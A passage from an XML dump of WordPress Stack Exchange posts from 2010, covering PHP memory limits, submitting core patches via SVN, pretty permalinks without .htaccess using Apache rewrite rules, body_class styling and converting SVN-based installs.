rel=&quot;nofollow&quot;&gt;Semiologic Reloaded Theme&lt;/a&gt;. It's available for download, feel free to suit yourself.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-28T19:51:14.963" LastActivityDate="2010-08-28T19:51:14.963" CommentCount="7" />
  <row Id="988" PostTypeId="2" ParentId="985" CreationDate="2010-08-28T14:35:39.243" Score="3" ViewCount="" Body="&lt;p&gt;The WordPress Memory is something not easy to deal with. If the standard way is not helping (don't rely on the WP_MEMORY_LIMIT constant, it's conceptually broken, use ini_set in wp-config.php instead), then you can only throw hardware on it or hack the core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please check if you're using a recent PHP version on your system. If that's something with PHP 4 upgrade to PHP 5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're running on PHP 5 downgrade to PHP 4 &lt;strong&gt;(&amp;lt;- that is for a test and only if any other resort is available. You should consider that bad practice because it will bring you no-where in the near future)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These two advices might sound funny, but I know of both: WP PHP 5 sites that ran out of memory but then worked on PHP 4 and the other way round. Just give it a try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are best general tips I can give. The &lt;a href=&quot;http://hakre.wordpress.com/2010/08/17/mysteries-about-the-wordpress-memory-limit/&quot; rel=&quot;nofollow&quot;&gt;topic is broad&lt;/a&gt;, we normally handle that individually.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-28T19:56:19.080" LastActivityDate="2010-08-28T19:56:19.080" CommentCount="4" />
  <row Id="989" PostTypeId="1" CreationDate="2010-08-28T15:30:23.730" Score="0" ViewCount="40" Body="&lt;p&gt;Just a problem we ran into while setting up the (&lt;a href=&quot;http://meta.gaming.stackexchange.com/questions/895/a-blog-for-gaming-se&quot;&gt;currently unofficial&lt;/a&gt;, hence wordpress.com) &lt;a href=&quot;http://gamingse.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;Gaming SE blog&lt;/a&gt;. As you can see on the latest DF post, &lt;code&gt;kbd&lt;/code&gt; elements are styled as monospaced with the current theme. Is there a wordpress.com theme that styles them a bit more obviously, such as italics? I'm guessing something like the SE &lt;kbd&gt;kbd&lt;/kbd&gt; rendering is unlikely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The theme also needs to support custom headers.&lt;/p&gt;&#xA;" OwnerUserId="363" LastEditorUserId="363" LastEditorDisplayName="" LastEditDate="2010-08-28T15:49:06.537" LastActivityDate="2010-08-28T19:45:57.663" Title="Is there a wordpress.com theme that has styling for kbd elements other than monospacing them?" Tags="&lt;themes&gt;&lt;wordpress.com&gt;" AnswerCount="1" />
  <row Id="990" PostTypeId="1" AcceptedAnswerId="2633" CreationDate="2010-08-28T17:39:39.243" Score="6" ViewCount="351" Body="&lt;p&gt;I've submitted a few &lt;a href=&quot;http://codex.wordpress.org/Reporting_Bugs#Patching_Bugs&quot; rel=&quot;nofollow&quot;&gt;patches for WordPress core&lt;/a&gt; on &lt;a href=&quot;http://codex.wordpress.org/Reporting_Bugs#Patching_Bugs&quot; rel=&quot;nofollow&quot;&gt;Trac&lt;/a&gt; (one of which has been used) but every time I think about doing it I cringe because my setup for doing so is incredibly tedious. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please detail out the steps needed to submit a patch for core, and then the best way to streamline the process so it's not so tedious? I work Mac OS X and PhpStorm currently but I'm thinking a shell script might be easiest?  Or maybe a PHP Script that does all the rote work?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the issues is I don't fully understand what I need to be starting with. Do I start with trunk? Do I have to download a new copy and add to/edit that copy with my code every time I want to create a patch?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, while I have done it working with SVN and patching is really outside my current skillset and I want to change that. Hoping you WordPress patching experts can come to my rescue. Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;UPDATE:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;After @hakre's answer I figure I should add more to the question: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can I create patches from older version or must I use trunk? &lt;/li&gt;&#xA;&lt;li&gt;If I'm working on a project using the released version (3.0.1) can I modify it and create a patch for core or do I have to download and set up a pristine and new copy of trunk and newly make my modifications there? &lt;/li&gt;&#xA;&lt;li&gt;Can I do with shell scripts so I can encode the login into the script and just run the script to recreate everything I need and/or to create the patch? &lt;/li&gt;&#xA;&lt;li&gt;And what are the pitfalls?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All of these questions seem to be assumed by those who know how WordPress's SVN works and as such are always glossed over in any discussion.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-29T05:13:26.080" LastActivityDate="2010-10-11T13:11:36.250" Title="Easiest Way to Create a Patch for Submission to WordPress Core?" Tags="&lt;subversion&gt;&lt;core&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="991" PostTypeId="2" ParentId="990" CreationDate="2010-08-28T19:33:52.317" Score="4" ViewCount="" Body="&lt;h2&gt;Eclipse PDT + Subclipse + X&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;a href=&quot;http://www.ibm.com/developerworks/opensource/library/os-ecl-subversion/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Eclipse that has SVN Integration&lt;/strong&gt;&lt;/a&gt;. I think PHP Strom does so as well. I go into one of my trunk projects which are basically a checkout from WordPress svn repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I edit the files I need to edit. Eclipse shows which are modified, I right-click a directory, select &lt;code&gt;Team-&amp;gt;Create Patch&lt;/code&gt; and I get offered all changed files I can select for the diff. Then I can choose between copying to clipboard or saving to disk. I save all patches I create with the ticket number into a directory I have on my harddisk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I go into the Browser and upload the patch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could also do this with a &lt;a href=&quot;http://www.eclipse.org/mylyn/&quot; rel=&quot;nofollow&quot;&gt;MyLyn Trac&lt;/a&gt; integration, that is even more comfortable, but you need XML-RPC right in trac so you need a trac admin to contact. It works pretty well but I do not have it configured in every project and use that mainly when I make ticket rundowns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So really, checkout Eclipse if you like. It's huge and slow so you need either a big computer. On small ones I made good experiences with Fedora Linux. Eclipse runs well on it. I know you're a PHP Storm fan but, well, I really like my Eclipse and it comes with a lot of extensions that really rock. Even for PHP :). But PHP Storm should basically do the checkout / patch stuff as well.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;WordPress Eclipse 1x1&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Exclude from PHP Buildpath: wp-admin/load-scripts.php ; wp-admin/load-styles.php .&lt;/li&gt;&#xA;&lt;li&gt;Subversion (Trunk) is: &lt;a href=&quot;http://svn.automattic.com/wordpress/trunk&quot; rel=&quot;nofollow&quot;&gt;http://svn.automattic.com/wordpress/trunk&lt;/a&gt; , others according.&lt;/li&gt;&#xA;&lt;li&gt;Task repository: Use the Trac Connector with &lt;a href=&quot;https://core.trac.wordpress.org&quot; rel=&quot;nofollow&quot;&gt;https://core.trac.wordpress.org&lt;/a&gt; .&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Ah and I have a tool in my OS that saves all directories I've used. So I can save the patches and upload the files fast because they are always from the same directory which I have in the recent list then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Integration Example: &lt;a href=&quot;http://hakre.wordpress.com/2010/03/06/php-code-sniffer-eclipse-and-wordpress/&quot; rel=&quot;nofollow&quot;&gt;PHP Code Sniffer, Eclipse and WordPress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-28T20:00:31.600" LastActivityDate="2010-08-28T20:00:31.600" CommentCount="3" />
  <row Id="992" PostTypeId="2" ParentId="989" CreationDate="2010-08-28T19:45:57.663" Score="1" ViewCount="" Body="&lt;p&gt;To change the default CSS representation you need to buy an upgrade, &lt;a href=&quot;http://en.wordpress.com/products/custom-css/&quot; rel=&quot;nofollow&quot;&gt;the CSS upgrade&lt;/a&gt;. That works with any theme then.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-28T19:45:57.663" CommentCount="2" />
  <row Id="994" PostTypeId="1" AcceptedAnswerId="1003" CreationDate="2010-08-28T23:18:30.210" Score="3" ViewCount="1074" Body="&lt;p&gt;I have a client that strongly prefers to disable .htaccess files because they like to set the Apache configurations themselves. However, they still want SEO-friendly URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to have custom permalinks with no .htaccess file? My research thus far seems to indicate this is not possible, but perhaps one of brilliant developers knows how the seemingly impossible can be possible. Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="128" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-16T08:40:46.233" LastActivityDate="2011-02-16T08:40:46.233" Title="Setting up WordPress with Custom Permalinks and no .htaccess File?" Tags="&lt;permalinks&gt;&lt;htaccess&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="3" />
  <row Id="995" PostTypeId="1" AcceptedAnswerId="998" CreationDate="2010-08-28T23:57:31.060" Score="1" ViewCount="281" Body="&lt;p&gt;I have different menu items. When the user clicks on a menu item, I want them to go to a particular destination. Each menu's destination has a different background color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking that I can pass a variable around and based on the value, I can set the bgcolor.&lt;br&gt;&#xA;This is just one example of why I want to pass data around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Wordpress have anything built in that allows me to do this? Should I use session variables?&lt;/p&gt;&#xA;" OwnerUserId="448" LastActivityDate="2010-08-29T01:35:29.263" Title="How to pass data around?" Tags="&lt;variables&gt;" AnswerCount="2" />
  <row Id="996" PostTypeId="2" ParentId="994" CreationDate="2010-08-29T01:13:17.390" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Permalinks without mod_rewrite&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without an .htaccess file or modifying your httpd.conf file the best you can do is pathinfo permalinks.  Pathinfo permalinks are the same as pretty permalinks except they start with index.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use pathinfo permalinks put index.php/ at the start of your custom permalink structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/index.php/%postname%/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks#Permalinks_without_mod_rewrite&quot; rel=&quot;nofollow&quot;&gt;Codex article&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-08-29T01:13:17.390" CommentCount="4" />
  <row Id="997" PostTypeId="2" ParentId="995" CreationDate="2010-08-29T01:34:16.503" Score="1" ViewCount="" Body="&lt;p&gt;WordPress doesn't use session variables ... so you might run into problems if you try that approach.  From your description, though, I'd suggest adding a variable via the URL's query string.  You can use WordPress permalinks system to do this, or merely add &quot;?bg=123&quot; to the end of the URL.  Then use that variable to determine which background color to use.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-29T01:34:16.503" />
  <row Id="998" PostTypeId="2" ParentId="995" CreationDate="2010-08-29T01:35:29.263" Score="1" ViewCount="" Body="&lt;blockquote&gt;I have different menu items. When the user clicks on a menu item, I want them to go to a particular destination. Each menu's destination has a different background color.&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When you say destination I assume you mean page or post.  If you use WordPress's built in body class and post class you can target the page or post in your CSS and assign a different background color for each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to use WordPress body class:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In header.php add body_class() between the body tags and WordPress will assign a different class to each page.  The body tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body &amp;lt;?php body_class(); ?&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will output your body tag in html like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body class=&quot;page page-id-11 page-template page-template-default&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To assign the background color in css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body.page-id-11 {&#xA;background:#000000;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you would just repeat the above for each page that needs a different background color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to use WordPress post class:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your template file that is displaying the post, single.php or index.php add the following in the loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will output your html like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;post-47&quot; class=&quot;post-47 post type-post hentry category-your-category tag-your-tags&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use CSS to target the post just like we did the body using any of the outputted class or ids&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-08-29T01:35:29.263" CommentCount="1" />
  <row Id="999" PostTypeId="1" CreationDate="2010-08-29T02:12:27.910" Score="3" ViewCount="144" Body="&lt;p&gt;On one of my WordPress installs, I used SVN to do the initial install. I thought that this would help upgrades...and it did for awhile. I tried it with the latest release 3.0.1, and this method did not work. (I perform an svn update, run the upgrade.php script and the upgrade.php returns an error.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now I want to convert my SVN installed Wordpress to a regular one. What is the best way to go about this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or do I need to install 3.0.1 and then import my data over?&lt;/p&gt;&#xA;" OwnerUserId="448" LastEditorUserId="448" LastEditorDisplayName="" LastEditDate="2010-08-29T15:40:18.453" LastActivityDate="2010-08-31T22:20:16.200" Title="How to convert a WordPress install under SVN to one that is not?" Tags="&lt;subversion&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="1" />
  <row Id="1000" PostTypeId="2" ParentId="999" CreationDate="2010-08-29T03:49:07.603" Score="5" ViewCount="" Body="&lt;p&gt;Simply stop running svn commands, and/or delete all the folders named &quot;.svn&quot; in your WordPress folder and all child folders, which removes the Subversion metadata. There is no difference between the WordPress 3.0.1 release obtained using Subversion or as a tarball from the WP downloads page, save for the .svn folders in the former. WordPress doesn't know it was installed via Subversion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might recommend asking another question explaining what went wrong during your svn update to 3.0.1, so that we might help you fix that problem. I have been upgrading via Subversion for many releases to great success.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-08-29T03:49:07.603" />
  <row Id="1001" PostTypeId="2" ParentId="994" CreationDate="2010-08-29T04:03:43.027" Score="0" ViewCount="" Body="&lt;p&gt;Back in the Bad Old Days, WordPress needed to write a new config file every time you changed the permalink structure. In modern setups, the RewriteRules are unchanging:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All requests for non-existant files (ie. a custom permalink path that doesn't match a file on the filesystem) gets passed through index.php, and &lt;code&gt;$_SERVER['REQUEST_URI']&lt;/code&gt; tells PHP what was actually requested. Your client can set the rewrite rules in httpd.conf or .htaccess, and you won't need to modify it as you tweak the permalink structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some plugins do attempt to modify .htaccess themselves, or ask you to modify the file. This solution may not be for everybody, but it's worth considering.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-08-29T04:03:43.027" CommentCount="1" />
  <row Id="1002" PostTypeId="1" AcceptedAnswerId="1086" CreationDate="2010-08-29T04:13:49.523" Score="2" ViewCount="267" Body="&lt;p&gt;Is there a easy way to limit to one (per post) the number of images to upload through media upload?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="450" LastEditorUserId="450" LastEditorDisplayName="" LastEditDate="2010-08-29T05:56:08.647" LastActivityDate="2010-09-01T15:30:36.767" Title="Restrict the number of images to upload per post" Tags="&lt;media&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" />
  <row Id="1003" PostTypeId="2" ParentId="994" CreationDate="2010-08-29T04:49:53.403" Score="6" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Mike Lee&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question it is helpful to understand how everything works. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Apache Serves URLs that Match Files and Directories&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Apache is designed to serve files explicitly matched by URL, or to serve the &lt;code&gt;index.php&lt;/code&gt; found in a directory when the directory is explicitly matched. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;But Apache Can Serve URLs Matched by Regex with &lt;code&gt;mod_rewrite&lt;/code&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you want Apache to match URLs for where there are no real directories (the case with WordPress and pretty permalinks) then you must have some way to tell Apache how to handle URLs differently. And that's exactly what &lt;code&gt;mod_rewrite&lt;/code&gt; was designed to allow; it gives server administrators the ability to set rules for matching URLs using regular expressions. Those rules route the result to other URLs, often including actually &lt;code&gt;.PHP&lt;/code&gt; files and sometimes with URL parameters passed. Ultimately the rules specify that actual files get loaded.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;And &lt;code&gt;mod_rewrite&lt;/code&gt; is Configured with Either &lt;code&gt;.htaccess&lt;/code&gt; or &lt;code&gt;httpd.conf&lt;/code&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;To configure &lt;code&gt;mod_rewrite&lt;/code&gt; you can only do it inside &lt;code&gt;.htaccess&lt;/code&gt; or within the &lt;code&gt;httpd.conf&lt;/code&gt; file or one of the files it includes, like potentially &lt;code&gt;httpd-vhosts.conf&lt;/code&gt;. Actually I'm surprised if you client has the skills to control Apache that they don't know this already.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;WordPress Always Uses the Same Simple &lt;code&gt;.htaccess&lt;/code&gt; File&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Moving on to what WordPress does, when you set permalinks WordPress writes the following to the &lt;code&gt;.htaccess&lt;/code&gt; file, assuming it is writable (&lt;em&gt;and in this first example assuming your website site is served from the root&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Caveat: When Your WordPress Front Page Directory is Not Root&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If your site is instead served from &lt;em&gt;&lt;code&gt;/blog&lt;/code&gt;&lt;/em&gt; then the &lt;code&gt;.htaccess&lt;/code&gt; file written would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /blog/&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /blog/index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;WordPress Routes All Non-File/Directory Matching URLs to &lt;code&gt;index.php&lt;/code&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;So as you can see, the only thing WordPress uses &lt;code&gt;.htaccess&lt;/code&gt; for is to map &lt;strong&gt;&lt;em&gt;any&lt;/em&gt;&lt;/strong&gt; URL to the domain to &lt;code&gt;/index.php&lt;/code&gt; (or &lt;code&gt;/blog/index.php&lt;/code&gt; in the 2nd example) &lt;strong&gt;&lt;em&gt;except&lt;/em&gt;&lt;/strong&gt; when a URL matches an actual file (such as an &lt;code&gt;.jpg&lt;/code&gt;/&lt;code&gt;.gif&lt;/code&gt;/&lt;code&gt;.png&lt;/code&gt; image, a &lt;code&gt;.css&lt;/code&gt; stylesheet, a &lt;code&gt;.js&lt;/code&gt; script, etc.) or when it matches an actual directory (which as far as I know is not relevant in a standard WordPress install.)&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;In &lt;code&gt;PHP&lt;/code&gt; WordPress Parses &lt;code&gt;$_SERVER['REQUEST_URI']&lt;/code&gt; To Decide What to Load&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Inside its &lt;code&gt;PHP&lt;/code&gt; code WordPress grabs the value of &lt;code&gt;$_SERVER['REQUEST_URI']&lt;/code&gt; which contains the full URL request &lt;em&gt;sans&lt;/em&gt; the domain and scheme (i.e. scheme is &lt;code&gt;http&lt;/code&gt; or &lt;code&gt;https&lt;/code&gt;) and it then parses the value to determine what URL was requested and thus what pages it should load. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Bypassing &lt;code&gt;.htaccess&lt;/code&gt;? Get Apache to Load Virtual URLs (but good luck with that!)&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;So if you want to somehow bypass &lt;code&gt;.htaccess&lt;/code&gt; your job would be to get Apache to respond to an arbitrary URL then load WordPress and set &lt;code&gt;$_SERVER['REQUEST_URI']&lt;/code&gt; to be the URL path plus parameters; IOW spoofing it but in a good way.  That said, I know if know of no ways that are not overly complicated to do that.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Embedding &lt;code&gt;/index.php/&lt;/code&gt; (Maybe?!?)&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Even though *Chris_O* is correct about prepending &lt;code&gt;/index.php/&lt;/code&gt; to your URLs I cringe whenever I see that. It adds 10 characters to every URL making them longer and less meaningful to search engines but far worse makes them less sharable and looks cryptic to users. Sorry Chris I know you meant well, but &lt;em&gt;ugh!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Create Real Directories for Every URL (Maybe?)&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;One way to get pretty permalinks without touching Apache would be to write a script that would generate an actual directory for every URL that you want and then store an &lt;code&gt;index.php&lt;/code&gt; there that would load WordPress. Of course that would be huge effort for tiny benefit and it would require the server to have write access which has to be worse than using an &lt;code&gt;.htaccess&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hate to admit but this is what I did circa 1998 with an &lt;code&gt;.ASP&lt;/code&gt;-based website when &lt;code&gt;IIS&lt;/code&gt; didn't support URL rewriting (and even today it's still a real PITA!) It was an ugly hack, was a pain to maintain and I hated it but the URLs sure were great for both users and for SEO!&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Best Solution? Add Rewrite Rules to &lt;code&gt;httpd.conf&lt;/code&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Back to what's probably your best the solution, and &lt;em&gt;@Simon Brown&lt;/em&gt; actually recommended it; add your rewrite rules to &lt;code&gt;httpd.conf&lt;/code&gt; or one of the include files like &lt;code&gt;httpd-vhosts.conf&lt;/code&gt; (which is how Apache is configured at localhost on my Mac.) Add the following directive making sure to change the directory to match the directory for your site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Directory &quot;/home/example_user/public_html/&quot;&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/Directory&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Bonus! With Lockdown Comes Performance Too&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This last option should eliminate any &lt;code&gt;.htaccess&lt;/code&gt; and put control back in their hands. &#xA;Even better it's slightly more performant since &lt;code&gt;httpd.conf&lt;/code&gt; is only loaded once when Apache starts but &lt;strong&gt;&lt;em&gt;&lt;code&gt;.htaccess&lt;/code&gt; files are loaded and parsed on every URL request!&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. One more thing to consider would be to &lt;strong&gt;front-end Apache with a caching server like &lt;a href=&quot;http://nginx.org/&quot; rel=&quot;nofollow&quot;&gt;Nginx&lt;/a&gt;&lt;/strong&gt; which I believe is becoming a &lt;a href=&quot;http://technosailor.aaronbrazell.com/2010/07/29/back-in-startup-mode-announcing-wp-engine/&quot; rel=&quot;nofollow&quot;&gt;best practice for high-traffic WordPress sites&lt;/a&gt; that really need to be performant. It might take green field tweaking because I don't think most people have been using Nginx to do the URL rewriting for Apache but if that direction interests you here are some links to pursue:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/nginx-proxy-cache-integrator/&quot; rel=&quot;nofollow&quot;&gt;WordPress Nginx proxy cache integrator&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.saltycrane.com/blog/2009/11/using-nginx-caching-proxy-wordpressapache/&quot; rel=&quot;nofollow&quot;&gt;Using Nginx as a caching proxy with Wordpress+Apache&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blogs.law.harvard.edu/djcp/2010/01/nginx-as-a-front-end-proxy-cache-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Nginx as a front-end proxy cache for WordPress&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ocaoimh.ie/wordpress-nginx-wp-super-cache/&quot; rel=&quot;nofollow&quot;&gt;WordPress, Nginx and WP Super Cache&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.hybridindie.com/2010/02/16/nginx-wordpress-mu-w-wp-super-cache/&quot; rel=&quot;nofollow&quot;&gt;Nginx &amp;amp; WordPress MU w/ wp-super-cache&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tech.nocr.at/tech/how-to-speed-up-wordpress-with-nginx-and-wp-super-cache/&quot; rel=&quot;nofollow&quot;&gt;How To Speed Up WordPress With Nginx And WP Super Cache&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wpveda.com/nginx-rewrite-rules-for-w3-total-cache-plugin/&quot; rel=&quot;nofollow&quot;&gt;Nginx Rewrite Rules for W3 Total Cache Plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://vpsbible.com/content-management/configure-nginx-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Tweak Nginx for WordPress – Pretty URLs &amp;amp; WP Super Cache&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-29T05:10:40.360" LastActivityDate="2010-08-29T05:10:40.360" CommentCount="3" />
  <row Id="1004" PostTypeId="2" ParentId="999" CreationDate="2010-08-29T04:54:44.953" Score="2" ViewCount="" Body="&lt;p&gt;Adam is correct, although getting rid of SVN will cause you to lose another advantage: easy security checks. If you know what files belong to WordPress and which are added after the fact by your uploads, etc., running an &lt;code&gt;svn stat&lt;/code&gt; from the root of your WP install will show you which files have been modified. Using this information, you can potentially detect core WP files that have been modified by script kiddies, etc., should the need ever arise. (I've actually detected a couple of break-ins in precisely this manner).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I agree with Adam: what error did you encounter when attempting an SVN upgrade? Perhaps we can help you with that answer.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2010-08-29T04:54:44.953" />
